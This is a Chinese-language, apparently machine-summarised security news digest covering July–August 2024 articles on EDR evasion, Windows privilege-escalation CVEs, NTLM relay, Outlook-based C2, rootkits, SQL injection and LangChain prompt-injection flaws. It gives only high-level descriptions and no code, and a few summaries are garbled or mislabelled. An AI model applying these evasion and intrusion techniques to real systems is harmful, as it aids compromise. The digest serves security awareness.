• Windows远程桌面许可证服务存在安全漏洞，攻击者可以利用该漏洞实现远程代码执行。
• 漏洞的 root cause 在于lserver.dll中的HashChallengeData函数处理不当，导致缓冲区溢出。
• 通过对比修复前后的代码，可以看出补丁增加了对参数值的检查，以防止越界操作。
• 利用该漏洞的PoC可以通过构造特定格式的数据包并发送给服务端来实现，这表明在实际环境中可能存在被动攻击的风险。

🏷️: Windows, 远程桌面, 漏洞, RPC服务, 安全分析

0x10 L4LB四层负载均衡中的IP伪造漏洞详解

本文详细介绍了L4LB四层负载均衡中的IP伪造漏洞，探讨了漏洞的发现、影响、原理以及如何修复。

<<<左右滑动见更多 >>>

热评

关键信息点

• L4LB四层负载均衡在FNAT模式下未能清除TCP Option中的恶意构造的TOA信息，导致IP伪造漏洞的存在。
• IP伪造可能导致基于IP策略的安全系统完全失效，造成极大的风险损失。
• 漏洞的发现是在零信任四层负载均衡产品的研发过程中意外发现的。
• L4LB在处理客户端TCP Option时的策略差异是安全问题的根源。

🏷️: 负载均衡, IP伪造, 漏洞修复, 网络安全

2024-08-05 「红蓝热点」每天快人一步

1. 推送「新、热、赞」，帮部分人阅读提效
2. 学有精读浅读深读，艺有会熟精绝化，觉知此事重躬行。推送只在浅读预览
3. 机读为主，人工辅助，每日数万网站，10w推特速读
4. 推送可能大众或小众，不代表本人偏好或认可
5. 因渲染和外链原因，公众号甲方安全建设发送日报或日期,如20240805获取图文评论版pdf

目录

0x01 【2024-0731】向旧的 .NET Remoting 传授新的利用技巧
0x02 【2024-0801】利用VEH绕过EDR：LayeredSyscall技术解析
0x03 【2024-0802】Windows AppLocker驱动LPE漏洞CVE-2024-21338
0x04 【2024-0802】基于Python的445/tcp端口接管技术
0x05 【2024-0802】审计Atlassian插件：53个零日漏洞后的反思
0x06 【2024-0802】Homebrew安全审计发现潜在风险
0x07 【2024-0803】突破极限：通过首次序列同步扩展单包竞态条件以打破65,535字节限制
0x08 【2024-0803】“假”土豆病毒的解析——解码器博客
0x09 【2024-0805】利用RustPatchlessCLRLoader绕过Windows安全机制加载.NET程序集
0x0a 【2024-0805】泄露壁纸工具利用漏洞泄露用户NetNTLM哈希
0x0b 【2024-0805】Kerberos安全：红蓝队攻防策略之AS_REP Roasting
0x0c 【2024-0805】使用Rust语言开发的Windows内核Rootkit项目（shadow-rs）

0x01 向旧的 .NET Remoting 传授新的利用技巧

本文详细探讨了三种用于攻击硬化的 .NET Remoting 服务器的漏洞利用技术，即使在启用了 TypeFilterLevel.Low 和代码访问安全性（CAS）限制的情况下。

<<<左右滑动见更多 >>>

热评

• 「编者注」:赛博考古之 .NET Remoting
• 老牌 .NET 远程调用技术的新漏洞利用技巧

关键信息点

• .NET Remoting 仍然存在未被充分探索的安全漏洞。
• 即使在严格的安全限制下，也存在绕过 CAS 限制的方法。
• 通过深入理解 .NET Remoting 的工作原理，可以发现新的利用技术。
• 安全研究人员应该持续关注和研究看似已经过时的技术，因为它们可能仍然存在未知的安全风险。

🏷️: 黑客技术, 网络安全, .NET Remoting, 代码访问安全

0x02 利用VEH绕过EDR：LayeredSyscall技术解析

本文介绍了一种利用 Vectored Exception Handling (VEH) 机制来欺骗 EDR 产品并执行间接系统调用的方法，从而实现恶意行为而不被检测。

<<<左右滑动见更多 >>>

热评

• 利用VEH和间接系统调用构建合法调用栈
• LayeredSyscall: 利用VEH绕过EDR技术

关键信息点

• EDR 产品通常通过在 ntdll.dll 或 kernel32.dll 中放置用户态钩子来监控系统调用。
• 绕过 EDR 的常见方法包括重新映射 ntdll.dll、直接系统调用和间接系统调用。
• LayeredSyscall 利用 VEH 来生成合法的调用栈，通过间接系统调用绕过 EDR 钩子。
• LayeredSyscall 通过两个 VEH 处理程序来实现其功能，分别用于设置硬件断点和生成调用栈。

🏷️: EDR绕过, VEH, 间接系统调用, 安全研究

0x03 Windows AppLocker驱动LPE漏洞CVE-2024-21338

网页主要介绍了 Windows 系统中的 AppLocker 驱动程序中的一个特权提升漏洞（CVE-2024-21338），该漏洞允许攻击者通过操纵内核指针和数据来提升权限。

热评

• Windows AppLocker 驱动程序提权漏洞 CVE-2024-21338
• Windows内核提权漏洞CVE-2024-21338分析

关键信息点

• 漏洞利用：攻击者可以通过触发 AppHashComputeImageHashInternal 函数来控制 RIP，从而实现特权提升。
• 安全机制绕过：由于 SMEP 和 kCFG 的保护，攻击者需要找到有效的内核空间指针和利用特定的函数来执行数据只攻击。
• KASLR 问题：在 LocalService 用户上下文中，KASLR 不是主要障碍，可以通过 NtQuerySystemInformation 系统调用来获取必要的内核地址。
• 驱动程序加载：攻击者可以通过服务管理器或 AppLocker 相关的 ETW 提供程序来加载 appid.sys 驱动程序。

🏷️: 漏洞, Windows, 驱动, 权限提升, AppLocker

0x04 基于Python的445/tcp端口接管技术

SMBTakeover 是一种不需要加载驱动、加载 LSASS 模块或重启目标机器的技术，它通过在 Windows 系统上取消绑定并重新绑定 445/tcp 端口，用于简化 SMB 相关的 NTLM 中继攻击，特别是在通过 C2 通道时。

热评

• 「编者注」:x33fcon的那个 smb 工具放出来了, 优势不需要重启机器
• 通过SCM交互在Windows上解除445/tcp绑定的BOF和Python3实现

关键信息点

• SMBTakeover 技术提供了一种无需重启目标机器的方法来取消绑定和重新绑定 SMB 服务的 445/tcp 端口，以便进行 NTLM 中继攻击。
• 该技术的实现依赖于 RPC over TCP 传输协议，以确保与远程目标的通信。
• 在使用 SMBTakeover 技术时，需要考虑目标机器的重要性和功能，因为禁用相关服务可能会影响其正常运行，尤其是在生产环境中。
• 尽管提供了 PoC，但用户可以选择其他工具与服务控制管理器交互，只要该工具支持 RPC over TCP 传输。

🏷️: 技术, Python, 网络安全, TCP, Windows

0x05 审计Atlassian插件：53个零日漏洞后的反思

本文主要介绍了对Atlassian插件生态系统进行审计的过程，发现了多个0day漏洞，并提出了对插件安全性的建议。

<<<左右滑动见更多 >>>

热评

• 「编者注」:白盒 + 灰盒，审计 Atlassian 插件 漏洞。
• Atlassian 插件审计：53 个 0 天漏洞

关键信息点

• Atlassian市场的插件安全审查流程存在不透明性，审查的详细程序和频率未公开。
• 插件开发者在编写宏模块时，缺乏输入验证和输出清理可能导致XSS漏洞。
• XSS漏洞在Atlassian插件中的潜在影响很大，尽管有一定的安全措施，攻击者仍可通过各种方式造成破坏。
• 对于插件的安全审计应该是一个系统的过程，包括静态和动态分析，以及手动代码审查。

🏷️: Atlassian, 插件, 零日漏洞, 安全审计

0x06 Homebrew安全审计发现潜在风险

William Woodruff 与 Homebrew 维护者合作进行了对 Homebrew 的安全审计，发现了一些非关键但可能导致执行代码和破坏安全隔离的问题，并提出了改进建议。

热评

• 「编者注」:Mac Homebrew审计，15个中危漏洞
• Homebrew CI/CD 安全审计：确保数百万 macOS 用户的软件安全

关键信息点

• Homebrew 的安全性对于下游软件生态系统的整体安全性至关重要，因为它安装了许多关键的软件包。
• 尽管 Homebrew 采取了一些措施来提高软件包的可靠性和安全性，但其核心代码库的动态性质为攻击者提供了加载和执行代码的潜在途径。
• Homebrew 的 CI/CD 配置复杂且依赖于 GitHub Actions 工作流程中的易于被滥用的模式，这可能被内部人员（如不忠的维护者）利用来破坏 CI/CD 的完整性和隔离假设。
• 审计过程中，与 Homebrew 维护者和 PLC 的紧密合作对于理解和改进 Homebrew 的安全性至关重要。

🏷️: Homebrew, 安全审计, CI/CD, 代码执行

0x07 突破极限：通过首次序列同步扩展单包竞态条件以打破65,535字节限制

RyotaK 在文章中介绍了如何通过IP分片和TCP序列号重排来克服单包跑赛攻击的限制，实现超过65,535字节的数据同时发送，从而可以利用超出限制的漏洞。

<<<左右滑动见更多 >>>

热评

• 「编者注」:单包搞条件竞争之类还是好使的
• 突破单包攻击限制：新技术实现166毫秒内发送10,000个请求

关键信息点

• 单包跑赛攻击的原始形式对于需要大量同时请求的漏洞利用有限制，因为它只能发送大约1,500字节的请求。
• IP分片和TCP序列号重排可以扩展单包跑赛攻击的能力，允许发送超过65,535字节的数据，这超出了TCP的单个包大小限制。
• 通过这些技术，可以在短时间内发送大量请求，从而可能利用如一次性令牌认证的速率限制等严重漏洞。
• 服务器的TCP缓冲区大小和HTTP/2的SETTINGS_MAX_CONCURRENT_STREAMS设置对于同时发送的请求数量有重要影响。

🏷️: 网络安全, 攻击技术, 单包攻击, 竞态条件

0x08 “假”土豆病毒的解析——解码器博客

该文章探讨了在分析“SilverPotato”滥用时，作者发现的一个与“ShellWindows” DCOM 应用程序相关的安全漏洞。

<<<左右滑动见更多 >>>

热评

• CVE-2024-38100 漏洞分析：意外漏洞！
• FakePotato 漏洞 (CVE-2024-38100) 分析文章发布

关键信息点

• DCOM 应用程序“ShellWindows”可能被滥用以在本地标准用户会话中执行外部命令或应用程序。
• 在高完整性级别下，真正的管理员用户（UAC 禁用）可以访问这些权限，而普通用户则无法访问。
• 利用 PowerShell 的 BindToMoniker() 调用，可以跨会话激活 DCOM 对象，并执行 ShellExecute() 方法，实现非特权用户向管理员用户发起攻击。
• 这一发现被确认为一个安全漏洞，并在 2024 年 7 月的 Patch Tuesday 中得到了修复（CVE-2024-38100）。

🏷️: DCOM, ShellWindows, SilverPotato, 网络安全, 攻击技术

0x09 利用RustPatchlessCLRLoader绕过Windows安全机制加载.NET程序集

RustPatchlessCLRLoader 是一个利用无需修补（patchless）技术的工具，用于绕过 Windows 事件跟踪（ETW）和反恶意软件扫描接口（AMSI），动态加载 .NET 程序集，以便在不修改系统文件和触发安全机制的情况下，隐蔽地执行托管代码。

<<<左右滑动见更多 >>>

热评

关键信息点

• 无需修补技术的优势：RustPatchlessCLRLoader 利用硬件断点技术，能够在不修改系统文件和触发安全机制的情况下，绕过 ETW 和 AMSI，这种方法具有减少检测和避免文件完整性监控的优势。
• 隐蔽执行托管代码：该工具的设计使得它能够隐秘地执行托管代码，特别是在安全性评估的环境中。
• 支持有效载荷加密：RustPatchlessCLRLoader 支持使用 RC4 加密有效载荷，增加了安全性和隐蔽性。
• 成功绕过多个安全产品：该工具已在多个主流的反恶意软件和 EDR 产品中进行了测试，并且在不引起行为检测的情况下成功加载和执行 .NET 程序集。

🏷️: Rust, Windows, AMSI, 反病毒, C2

0x0a 泄露壁纸工具利用漏洞泄露用户NetNTLM哈希

网页介绍了一个名为 LeakedWallpaper 的特权升级工具，该工具可以利用 CVE-2024-38100 漏洞（已在 KB5040434 中修复），从计算机上的任何会话中泄露用户的 NetNTLM 哈希值，即使是从低权限用户账户操作。

<<<左右滑动见更多 >>>

热评

• 壁纸泄露可暴露敏感信息，微软发布补丁修复漏洞

关键信息点

• LeakedWallpaper 工具的核心功能：能够在不需要用户交互的情况下，从任何会话中捕获 NetNTLM 哈希值，这对于渗透测试和特权升级攻击具有重要意义。
• 漏洞修复：CVE-2024-38100 漏洞已在 KB5040434 安全更新中得到修复，强调了及时更新系统的重要性。
• 工具的操作方式：通过在低权限账户中执行工具并引用远程图片文件，诱使高权限账户进行身份验证，进而捕获其哈希值。
• 教育和演示资源：网页提供了一个 YouTube 视频链接和一个演示文件，用于教育用户如何使用该工具，以及在网络环境中可能遇到的问题。

🏷️: 漏洞利用, NetNTLM哈希, 权限提升

0x0b Kerberos安全：红蓝队攻防策略之AS_REP Roasting

网页主要介绍了AS_REP Roasting攻击的原理、OPSEC考虑、检测策略以及如何通过修改Rubeus工具来进行更隐蔽的攻击。

<<<左右滑动见更多 >>>

热评

• Kerberos OPSEC：红蓝对抗中的攻击与防御策略（第二部分：AS REP 攻击）

关键信息点

• AS_REP Roasting攻击利用了Kerberos协议中的一个漏洞，即用户可以请求另一用户的TGT而不需要知道密码。
• 攻击者可以通过暴力破解加密的会话密钥来尝试获取用户密码，尤其是当密码不够复杂时。
• 检测AS_REP Roasting攻击可以通过监控特定的LDAP查询、Kerberos票证加密类型、票证选项以及来源进程等手段来实现。
• 为了提高攻击的隐蔽性，攻击者可以通过修改Rubeus工具的代码来避免生成易于检测的行为，例如使用AES256加密、添加Name-Canonicalize标志等。

🏷️: Kerberos, AS_REP Roasting, 红队, 蓝队, 安全策略

0x0c 使用Rust语言开发的Windows内核Rootkit项目（shadow-rs）

Windows Kernel Rootkit in Rust (shadow-rs) 是一个旨在利用 Rust 语言安全和性能特性开发 Windows 内核根本套件的项目，目前正在积极开发中，专注于教育和研究目的，并明确警告不要滥用该软件。

<<<左右滑动见更多 >>>

热评

• Rust 语言编写的 Windows 内核 Rootkit (shadow-rs)
• Rust 语言编写 Rootkit 的尝试

关键信息点

• 教育与研究目的：项目强调其目的是教育和研究，而不是鼓励恶意使用。
• 利用 Rust 语言特性：项目选择 Rust 语言以利用其安全性和性能特性来开发内核根本套件。
• 已实现的功能：项目已经实现了多项关键功能，如进程和线程的隐藏与保护、驱动程序操作、键盘记录器、注册表保护等。
• 构建与安装指南：项目提供了详细的构建和安装指南，以便开发者可以在 Windows 环境中部署和测试根本套件。

🏷️: 网络安全, Rootkit, Windows, Rust

2024-07-30 「红蓝热点」每天快人一步

1. 推送「新、热、赞」，帮部分人阅读提效
2. 学有精读浅读深读，艺有会熟精绝化，觉知此事重躬行。推送只在浅读预览
3. 机读为主，人工辅助，每日数万网站，10w推特速读
4. 推送可能大众或小众，不代表本人偏好或认可
5. 因渲染和外链原因，公众号甲方安全建设发送日报或日期,如20240730获取图文评论版pdf

目录

0x01 【2024-0729】C#自删除二进制代码实现
0x02 【2024-0729】Cnext项目中的CosmicSting漏洞利用分析
0x03 【2024-0730】勒索软件操作者利用ESXi虚拟机管理程序漏洞进行大规模加密
0x04 【2024-0730】规则探索者项目REx介绍
0x05 【2024-0730】利用注册表将Outlook变为C2代理
0x06 【2024-0730】Specula框架：在Outlook环境下利用VBScript进行恶意软件操作

0x01 C#自删除二进制代码实现

网页提供了一个C#语言编写的自删除二进制文件的示例代码，这对于恶意软件的开发特别有用，因为在正常情况下，Windows系统不允许运行中的二进制文件被删除。

热评

关键信息点

• 自删除机制：网页提供的C#代码能够让运行中的程序自我删除，这在Windows系统中通常是不可能的。
• 恶意软件应用：这种技术对于恶意软件来说具有特殊的用途，因为它可以帮助恶意软件在执行完毕后自我清理，减少被检测到的可能性。
• 技术实现：代码通过调用Windows API，如GetModuleFileName、CreateFileW和SetFileInformationByHandle，实现了对二进制文件的默认数据流重命名和删除操作。
• 项目需求：作者在开发SharpCovertTube项目时，出于项目需求，将原本用C语言编写的Maldev Academy课程代码进行了端口，以适应C#环境。

🏷️: C#, 自删除, 恶意软件, Windows

0x02 Cnext项目中的CosmicSting漏洞利用分析

网页提供了一个名为 cosmicsting-cnext-exploit.py 的 GitHub 仓库中的 Python 文件，该文件是由 ambionics/cnext-exploits 项目的最新提交中的一个部分。

热评

• Magento 漏洞利用公开：CosmicSting 和 CNEXT 导致远程代码执行
• Magento 漏洞利用工具发布：CosmicSting 和 CNEXT

关键信息点

• 该 Python 脚本是针对 CosmicString CNEXT 的一个漏洞利用工具。
• 脚本的最新提交包含了 557 行有效的 Python 代码，用于实现漏洞利用的功能。
• 文件大小为 23.2 KB，这表明脚本可能包含了一些额外的功能或者是较为复杂的代码结构。
• 页面上的错误消息可能指向了 GitHub 上的某种操作限制，比如在特定时间内无法提交更改或者执行其他操作。 请注意，由于提供的内容非常有限，以上信息仅基于该片段，可能不能全面反映整个网页的内容。

🏷️: 漏洞利用, GitHub, 代码分析

0x03 勒索软件操作者利用ESXi虚拟机管理程序漏洞进行大规模加密

微软研究人员发现ESXi虚拟机管理程序中存在的一个漏洞，被多个勒索软件运营商用于获取对域连接的ESXi虚拟机管理程序的完全管理权限，可能导致虚拟机的文件系统加密、数据窃取或网络内部横向移动。

热评

• ESXi 域加入漏洞：黑客可获得 VMware ESX 全权限
• AD域管理漏洞：ESX Admins组权限风险

关键信息点

• ESXi虚拟机管理程序的CVE-2024-37085漏洞为勒索软件运营商提供了对域连接的ESXi虚拟机管理程序获取完全管理权限的途径。
• 攻击者可以通过利用“ESX Admins”组来提升权限，即使该组在Active Directory中不存在。
• ESXi虚拟机管理程序因其在企业网络中的普及性，成为了勒索软件攻击的热门目标。
• 微软强调了安全更新的重要性，并提供了多种安全措施和工具来帮助企业保护他们的ESXi虚拟机管理程序。

🏷️: 勒索软件, ESXi, 漏洞, 虚拟机管理程序, 网络安全

0x04 规则探索者项目REx介绍

REx项目是一个开源安全检测规则集合的探索和分析平台，旨在通过Elastic Stack的搜索和可视化功能，提供对检测生态系统的深入理解。

<<<左右滑动见更多 >>>

热评

关键信息点

• REx项目强调通过可视化和数据分析来提供对检测规则集合的深入理解，以及通过不同视角来观察规则开发、检测工程生态系统和威胁景观。
• DETR作为一个交互式和动态的报告，提供了对规则集的最新快shots、变化趋势和独特性的深入分析，以及对已知威胁的应对分析。
• REx项目鼓励用户通过多种搜索和可视化方式来分析数据，以便从不同的角度和需求出发，获得更多的洞察力和视角。
• 项目的目标不是进行供应商或覆盖范围的比较，而是提供一个用于分析规则和检测工程生态系统的平台，帮助用户创建高质量、高效能的规则。

🏷️: 规则探索, 安全检测, 数据分析, 可视化

0x05 利用注册表将Outlook变为C2代理

TrustedSec 发布了 Specula 框架，这是一个利用 Outlook 注册表更改将电子邮件客户端转变为持续的 C2 通信通道的工具，即使在许多坚固防守的网络中，这种攻击手段仍然未被察觉。

热评

• 「编者注」:outlook page这个洞还挺经典的，ruler也支持, 也可以relay或者账密添加恶意page, 并且不在常规安全更新补丁里，得手动打指定的补丁. ps: 之前用这个测试过茄子🤣，离职后，过了几年他重装电脑，发现又中招了，驻留很持久, 除非删除恶意page.

关键信息点

• Outlook 的首页功能可以被恶意利用作为 C2 通信通道，即使在应该已经修复的环境中也能有效。
• Specula 框架提供了一个强大、模块化的工具集，用于利用 Outlook 的注册表更改进行持续的 C2 通信。
• 即使在安装了安全更新的环境中，Outlook 的注册表值可能仍然允许攻击者建立 C2 通道。
• 为了防御此类攻击，建议采取多种措施，包括使用新版本的 Outlook、移除 vbscript 引擎、配置 GPO 以及应用安全基线。

🏷️: Outlook, C2, 网络安全, 注册表

0x06 Specula框架：在Outlook环境下利用VBScript进行恶意软件操作

Specula 是一个利用 Outlook 环境下的 VBScript 功能，通过设置自定义首页来实现互动式恶意软件（implant）操作的框架。

<<<左右滑动见更多 >>>

热评

关键信息点

• Specula 框架的创新之处在于它提供了一种自然且易于扩展的方式来利用 Outlook 作为一个功能完整的恶意软件。
• 安全性和隐蔽性：推荐使用 DNS 记录和 SSL 证书来增强安全性和隐蔽性，减少被检测到的风险。
• 易用性：Specula 提供了详细的安装和配置指南，包括视频教程和注册表项的自动生成工具，以简化用户的操作。
• 配置灵活性：Specula 提供了多种配置选项，允许用户根据自己的需求定制服务器的行为和通信方式。

🏷️: 恶意软件, Outlook, VBScript, Python, Web服务器

2024-07-26 「红蓝热点」每天快人一步

1. 推送「新、热、赞」，帮部分人阅读提效
2. 学有精读浅读深读，艺有会熟精绝化，觉知此事重躬行。推送只在浅读预览
3. 机读为主，人工辅助，每日数万网站，10w推特速读
4. 推送可能大众或小众，不代表本人偏好或认可
5. 因渲染和外链原因，公众号甲方安全建设发送日报或日期,如20240726获取图文评论版pdf

目录

0x01 【2024-0726】利用PDF文件注入恶意代码攻击技术
0x02 【2024-0726】利用线程名称进行攻击的新技术
0x03 【2024-0726】Spring Cloud Data Flow 远程代码执行漏洞（CVE-2024-37084）
0x04 【2024-0726】人脸识别的不同面貌：操作与攻击
0x05 【2024-0726】揭秘AWS会话令牌的内部结构
0x06 【2024-0726】SeleniumGreed：利用暴露的Selenium Grid服务进行加密货币挖矿

0x01 利用PDF文件注入恶意代码攻击技术

本网页介绍了如何利用PDF文件中的JavaScript执行能力，将恶意代码注入PDF文件，从而实现从特定URL自动下载文件的攻击技术，即PDF Dropper攻击，并通过Cobalt Strike等工具建立Command and Control（C2）连接。

热评

• Cobalt Strike 攻击：利用恶意 JavaScript 注入 PDF 文件创建 PDF Dropper

关键信息点

• PDF文件可以执行JavaScript代码，这使得它们成为了潜在的攻击载体。
• 通过在PDF文件中嵌入恶意JavaScript代码，可以实现自动下载和执行远程文件的攻击，这种技术被称为PDF Dropper。
• 攻击者可以利用这种方法来建立与受害者系统的C2连接，从而实现对系统的控制。
• 尽管浏览器和PDF阅读器对PDF中的JavaScript执行有限制，但仍有可能绕过这些限制执行特定操作。

🏷️: PDF攻击, 恶意代码注入, JavaScript, 网络安全

0x02 利用线程名称进行攻击的新技术

Check Point Research 发现了一种新的进程注入技术，名为 Thread Name-Calling，它利用 Windows 的线程描述 API 来绕过终端保护产品，实现恶意代码的注入。

<<<左右滑动见更多 >>>

热评

• 利用线程名称实现进程注入的新技术
• 线程名称调用：一种利用线程名称的进程注入技术

关键信息点

• 进程注入是攻击者工具包中的重要技术，用于防御逃避、进程干预和权限提升。
• 传统的注入方法容易被 AV 和 EDR 产品检测，因此攻击者和红队成员不断寻找新的 API 来实现注入，以逃避检测。
• Thread Name-Calling 技术利用了相对较新的 API，这些 API 没有被常规的监控工具所关注，从而能够绕过现有的保护措施。
• 该技术不需要对目标进程拥有写入权限，仅需最小的访问权限，这减少了被检测的可能性。

🏷️: Process Injection, Thread Name-Calling, API Abuse, Endpoint Protection

0x03 Spring Cloud Data Flow 远程代码执行漏洞（CVE-2024-37084）

Spring Cloud Data Flow 中的 Skipper 组件存在一个关键的远程代码执行漏洞（CVE-2024-37084），该漏洞被评定为 CVSS 9.8 分，表明其严重性。

热评

• Spring Cloud Data Flow 远程代码执行漏洞 CVE-2024-37084
• Spring Cloud Data Flow 发现高危漏洞CVE-2024-37084

关键信息点

• 严重性：CVE-2024-37084 漏洞的严重性非常高，CVSS 分数为 9.8。
• 影响范围：受影响的是 Spring Cloud Data Flow 的 Skipper 服务器组件，可能导致服务器完全妥协。
• 默认安全性：Skipper 服务器 API 默认不对外部用户开放，但内部用户仍然面临风险。
• 影响版本：受影响的版本为 Spring Cloud Data Flow 2.11.4 之前的版本。

🏷️: Spring Cloud Data Flow, 远程代码执行, 漏洞, 微服务, 数据处理平台

0x04 人脸识别的不同面貌：操作与攻击

网页主要探讨了数据科学应用程序在信息系统中的安全风险，包括远程代码执行、内网横向移动、恶意软件传播、持久性访问以及数据湖挖掘等方面的攻击手段和策略。

<<<左右滑动见更多 >>>

热评

• 利用数据科学技术进行攻击的红队实战

关键信息点

• 数据科学应用程序成为新的高价值目标：随着传统应用程序变得更加安全，攻击者转向数据科学应用程序作为新的入侵点。
• 远程代码执行的可能性：通过Spotfire和Dataiku等应用程序，攻击者可以实现远程代码执行，进而控制服务器和内部网络。
• 内网横向移动与恶意软件传播：利用数据科学应用程序的特性，攻击者可以在内部网络中横向移动，并传播恶意软件。
• 持久性访问的实现：攻击者可以通过各种方法，如C2基础设施、DLL劫持和透明化命令执行，确保对系统的长期访问。

🏷️: 人脸识别, 攻击, 信息系统, 网络安全

0x05 揭秘AWS会话令牌的内部结构

本文揭示了AWS会话令牌的内部结构，通过逆向工程分析，提供了代码和工具来解析和修改AWS会话令牌，并对其加密和认证协议进行了测试。

热评

• AWS 会话令牌逆向工程分析：首次公开代码和工具
• 揭秘 AWS 会话令牌内部结构

关键信息点

• AWS会话令牌的内部结构和认证协议之前是一个黑箱，但现在通过逆向工程分析，这些信息变得更加透明。
• AWS会话令牌的安全性得到了验证，其加密和签名密钥每小时更新一次，这限制了攻击者即使窃取了密钥也只能在有限的时间内使用。
• AWS的认证系统对金色票据攻击具有相对较高的抵抗力，这表明AWS在设计其认证协议时考虑了安全性。
• 研究人员提供的开源工具可以帮助用户和研究人员更好地理解和分析AWS会话令牌，同时也有助于保护和审计AWS环境的安全性。

🏷️: AWS, 会话令牌, 逆向工程, 加密, 认证协议

0x06 SeleniumGreed：利用暴露的Selenium Grid服务进行加密货币挖矿

Wiz Research 发现了一项名为“SeleniumGreed”的恶意活动，该活动利用暴露的 Selenium Grid 服务进行加密货币挖矿。

热评

• 「编者注」:这玩意还有些类似的，以前好像叫 seleniumHQ 吧，确实攻击面可能从2016左右就开始了，以前测评过一波，黑灰amazon刷dan当时很多用这个的.
• 新型挖矿攻击利用Selenium Grid漏洞，攻击者使用新技术

关键信息点

• Selenium Grid 服务的默认配置不包含认证机制，这使得许多实例容易被恶意利用。
• 威胁行为者通过 Selenium WebDriver API 的特性，实现了在受害服务器上运行 Python 脚本，进而部署挖矿软件。
• 该恶意活动采用了多种 防御演asion技术，如使用自定义 UPX 头部打包矿工，以及避免硬编码矿池代理 IP 地址。
• 尽管 Selenium Grid 的官方文档警告 不要将服务暴露在互联网上，但许多用户仍然忽略了这一点。

🏷️: Selenium, 加密货币挖矿, 网络安全, 威胁攻击

2024-07-24 「红蓝热点」每天快人一步

1. 推送「新、热、赞」，帮部分人阅读提效
2. 学有精读浅读深读，艺有会熟精绝化，觉知此事重躬行。推送只在浅读预览
3. 机读为主，人工辅助，每日数万网站，10w推特速读
4. 推送可能大众或小众，不代表本人偏好或认可
5. 因渲染和外链原因，公众号甲方安全建设发送日报或日期,如20240724获取图文评论版pdf

目录

0x01 【2024-0723】通过中间人网络过滤攻击有效阻止EDR遥测
0x02 【2024-0723】EDR遥测数据拦截器
0x03 【2024-0723】WebRTC安全漏洞研究：远程代码执行风险
0x04 【2024-0724】LangChain开源生成式AI框架中的漏洞
0x05 【2024-0724】高级SQL注入技术
0x06 【2024-0724】macOS Sequoia 15 Beta 4 SDK更新与SwiftUI改进
0x07 【2024-0724】攻击活动目录：从0到0.9
0x08 【2024-0724】FlowAnalyzer：OAuth 2.0和OpenID Connect流分析工具
0x09 【2024-0724】SCCMHunter：简化SCCM资产识别与攻击的工具
0x0a 【2024-0724】PumpBin：植入生成平台
0x0b 【2024-0724】WhatsApp漏洞：Android恶意软件伪装成PDF文件

0x01 通过中间人网络过滤攻击有效阻止EDR遥测

网页主要介绍了如何通过实施人在中间（PitM）攻击和过滤电子防御响应（EDR）遥测数据包来有效地阻止EDR遥测到达云服务器，从而隐藏安全操作中心（SOC）团队的警报。

<<<左右滑动见更多 >>>

热评

• 「编者注」:致盲edr的一个操作，日志链路阻断, 实战里有很多类似的举一反三.
• 绕过EDR控制台的有趣方法

关键信息点

• ARP欺骗是实施PitM攻击的有效方法，可以用来拦截和过滤EDR遥测数据包。
• 传统的iptables规则，基于IP地址或子网来阻断流量，对于大量的EDR通信服务器地址来说是不够高效的。
• 利用TLS握手中的SNI可以更精确地识别EDR遥测流量，并通过更新iptables规则来有效地阻断这些流量。
• edr_blocker.py工具提供了一个更高效的解决方案，能够解析TLS握手中的SNI并动态更新iptables规则。

🏷️: EDR, 中间人攻击, ARP中毒, iptables, TLS

0x02 EDR遥测数据拦截器

EDR Telemetry Blocker 是一个通过进行人在中间（Person-in-the-Middle）攻击并使用 iptables 进行网络过滤来阻止终端防御（EDR）遥测的工具。

热评

• 通过PitM网络过滤阻止EDR遥测
• EDR Blocker：利用 ARP 欺骗执行中间人攻击的工具

关键信息点

• EDR Telemetry Blocker 工具通过中间人攻击和 iptables 过滤来阻断 EDR 遥测数据。
• 该工具可以在监控模式下仅检测和日志记录被阻断的 IP 地址，而不会添加 iptables 规则。
• 工具的使用需要指定网络接口、被阻止服务器名称列表文件、目标 IP 地址或范围以及网关 IP 地址。
• 工具支持详细输出，便于用户了解工具的运行情况。

🏷️: EDR, iptables, 网络安全, 中间人攻击

0x03 WebRTC安全漏洞研究：远程代码执行风险

本文介绍了如何通过研究和利用 WebRTC 和 Signal-iOS 的漏洞来实现远程代码执行（RCE）。

<<<左右滑动见更多 >>>

热评

• WebRTC 中的 RCE 漏洞：第一部分
• Signal 的 WebRTC 通话库漏洞研究：深入研究

关键信息点

• WebRTC 是一个复杂的实时通信工具库，它处理音视频通话，是一个值得研究的目标，因为它涉及解析序列化数据和维护状态协议，这些都是复杂的任务。   
• Signal-iOS 的复杂性和 iOS 的特性使得对这些应用程序的安全研究变得具有挑战性。   
• 通过注入合成的漏洞和使用 Frida 等工具，研究人员可以更深入地了解 Signal 和 WebRTC 的内部工作机制，以及如何在 iOS 上进行漏洞利用。   
• 构建一个 ARM64 ROP 链是实现远程代码执行的关键步骤，它需要精心设计，包括条件循环和堆栈偏移技术。   

🏷️: WebRTC, Signal, iOS, 网络安全, 远程代码执行

0x04 LangChain开源生成式AI框架中的漏洞

Palo Alto Networks 的研究人员发现了 LangChain 中两个重要的安全漏洞，分别是服务器端请求伪造（SSRF）和提示注入漏洞，已经得到了修补。这些漏洞可能允许攻击者执行任意代码和访问敏感数据。

<<<左右滑动见更多 >>>

热评

• 开源 AI 工具 LangChain 曝出漏洞，CVE-2023-46229 和 CVE-2023-44467 影响 LLM 构建

关键信息点

• LangChain 的生成式人工智能框架在开发者中非常流行，但其安全漏洞可能导致敏感数据泄露和任意代码执行。
• 研究人员强调了在使用大型语言模型时，对用户输入进行严格验证和清理的重要性，以防止恶意的提示注入攻击。
• 尽管 LangChain Experimental 提供了强大的功能，但开发者在使用该库时必须谨慎，并采取适当的措施来减少被植入恶意代码的风险。
• Palo Alto Networks 提供了一系列产品和服务来保护其客户免受这些漏洞的攻击，包括但不限于下一代防火墙、Cortex XDR 和 Prisma Cloud。

🏷️: LangChain, AI, 漏洞, Palo Alto Networks

0x05 高级SQL注入技术

这篇网页内容主要介绍了一系列高级的 SQL 注入技术，包括错误注入、联合查询、盲注入、二次注入以及如何绕过 WAF 和自动化工具的使用。

热评

• 「编者注」:sqli的一些基础知识
• 开源高级 SQL 注入技巧仓库

关键信息点

• 合法和授权的测试：网页强调高级 SQL 注入技术应该仅在合法和授权的测试环境中使用。
• 高级注入技术的多样性：文章展示了多种高级注入技术，包括错误注入、联合查询注入、盲注入和二次注入等。
• 自动化和定制化工具的重要性：提到了自动化工具如 SQLMap 和自定义 Python 脚本的使用，以及如何编写定制的篡改脚本来绕过 WAF。
